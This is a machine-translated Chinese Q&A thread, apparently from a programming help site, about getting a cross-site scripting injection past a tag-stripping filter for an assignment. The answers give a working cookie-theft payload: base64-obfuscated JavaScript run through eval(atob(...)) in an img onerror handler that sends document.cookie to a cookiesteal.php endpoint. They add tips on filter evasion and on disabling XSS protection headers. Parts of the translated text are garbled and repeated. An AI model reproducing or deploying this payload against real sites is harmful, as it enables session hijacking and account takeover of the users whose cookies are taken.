Javascript 如何在不使用+;
我试图对一个任务进行XSS攻击,注入一些代码,但是服务器设置为剥离大多数HTML标记,但是我能够使用Javascript 如何在不使用+;,javascript,html,dom,xss,onerror,Javascript,Html,Dom,Xss,Onerror,我试图对一个任务进行XSS攻击,注入一些代码,但是服务器设置为剥离大多数HTML标记,但是我能够使用img标记和onerror进行注入。注入时,我似乎无法正确使用语法,因为它会删除字符串append中的“+”(尝试将cookie附加到我正在使用的源代码) 当我在注入后(在inspect元素中)检查这个时,它显示了脚本,但是末尾的加号丢失了。有没有其他方法可以在不使用+的情况下将此cookie附加到img.src 更新: 我在那里得到了加号,现在事件侦听器已经激活。但是我试过使用onerror
img
标记和onerror进行注入。注入时,我似乎无法正确使用语法,因为它会删除字符串append中的“+”(尝试将cookie附加到我正在使用的源代码)
当我在注入后(在inspect元素中)检查这个时,它显示了脚本,但是末尾的加号丢失了。有没有其他方法可以在不使用+的情况下将此cookie附加到img.src
更新:
我在那里得到了加号,现在事件侦听器已经激活。但是我试过使用onerror、onload和onmouseover,但是没有任何东西激活代码,我没有收到管理员cookie。尝试使用%2B而不是+ 尝试此错误
eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))
我所做的
btoa()
eval(atob(“编码代码”)代码>
`var img = document.createElement('img');
img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;`
所以你的结局应该是这样的
<img src="img.gif" onerror="eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))">
使用
如果正确编码注入的脚本,它应该可以正常工作 唯一可能出现的错误是XSS保护处于启用状态。 您可以通过发送响应头来禁用它 (“X-XSS-Protection”,0)
您的控制台报告的错误是什么?这在获得加号时起到了作用,但现在我显然有一个错误:\onerror函数显然不喜欢它,我不确定为什么仍然会出现错误。我不明白为什么,语法错了吗?当我检查firefox中的元素以查看注入的代码时,它已被注入,但其标记为“ev”(事件侦听器),当我单击它时,它会显示“error”以及onerror函数和注入的代码。您是否看到扩展的代码或加密的代码?事件侦听器正在工作,因此我假设这意味着我有正确的语法。我尝试了onerror、onload、onmouseover,但没有任何东西激活脚本并向我发送管理会话id Cookie检查响应头以查看X-XSS-Protection标志。您使用哪个浏览器进行测试?通过添加console.log语句仔细检查是否调用了OneError。还应使用控制台检查document.cookie中是否存在所需的cookie
<img src="img.gif" onerror="eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))">
<img src="img.gif" onerror="var img = document.createElement('img'); img.src=encodeURIComponent('http://localhost/cookiesteal.php?cookie='+ document.cookie);">